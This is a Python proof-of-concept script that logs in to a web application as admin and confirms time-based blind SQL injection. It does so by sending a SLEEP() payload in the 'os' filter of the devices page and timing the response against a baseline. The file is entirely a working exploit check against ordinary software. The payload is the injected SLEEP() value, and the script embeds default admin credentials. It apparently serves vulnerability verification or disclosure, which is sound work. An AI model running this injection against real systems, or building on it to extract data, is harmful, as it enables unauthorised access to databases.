#!/usr/bin/env python3
"""
Usage:
    python3 poc_sql_injection.py --base-url http://localhost:8091 \\
        --user admin --password 'VerifyAdmin!2026'
"""
import argparse
import sys
import time

import requests


def login(base_url, username, password):
    session = requests.Session()
    # Any GET with a query string avoids an unrelated routing quirk where
    # POSTing to a bare "/index.php" lets the URI parser clobber the "page"
    # var - harmless here, just makes the login POST land correctly.
    resp = session.post(
        f"{base_url}/index.php?_=1",
        data={"username": username, "password": password},
        allow_redirects=True,
        timeout=30,
    )
    if "Dashboard" not in resp.text and "logout" not in resp.text.lower():
        print("[!] Login may have failed - check credentials.", file=sys.stderr)
    return session


def timed_request(session, base_url, os_value):
    t0 = time.perf_counter()
    resp = session.get(
        f"{base_url}/index.php",
        params={"page": "devices", "os": os_value},
        timeout=60,
    )
    elapsed = time.perf_counter() - t0
    return elapsed, resp.status_code


def main():
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("--base-url", default="http://localhost:8091")
    parser.add_argument("--user", default="admin")
    parser.add_argument("--password", default="VerifyAdmin!2026")
    parser.add_argument("--sleep-seconds", type=int, default=4,
                         help="SLEEP() duration to inject for the timing signal")
    args = parser.parse_args()

    print(f"[*] Logging in to {args.base_url} as '{args.user}'...")
    session = login(args.base_url, args.user, args.password)

    print("[*] Sending baseline request (os=linux)...")
    baseline_time, baseline_code = timed_request(session, args.base_url, "linux")
    print(f"    -> HTTP {baseline_code} in {baseline_time:.2f}s")

    payload = f"SLEEP({args.sleep_seconds})"
    print(f"[*] Sending injected request (os={payload})...")
    injected_time, injected_code = timed_request(session, args.base_url, payload)
    print(f"    -> HTTP {injected_code} in {injected_time:.2f}s")

    threshold = baseline_time + (args.sleep_seconds * 0.7)
    print()
    if injected_code == 200 and injected_time >= threshold:
        print(f"[+] VULNERABLE: injected request took {injected_time:.2f}s "
              f"(baseline {baseline_time:.2f}s, expected delay ~{args.sleep_seconds}s).")
        print("    The 'os' filter value was executed as raw SQL - blind SQL injection confirmed.")
        sys.exit(0)
    else:
        print(f"[-] NOT CONFIRMED: no significant delay observed "
              f"(injected {injected_time:.2f}s vs baseline {baseline_time:.2f}s).")
        print("    Note: this requires at least one row in the `devices` table.")
        sys.exit(1)


if __name__ == "__main__":
    main()
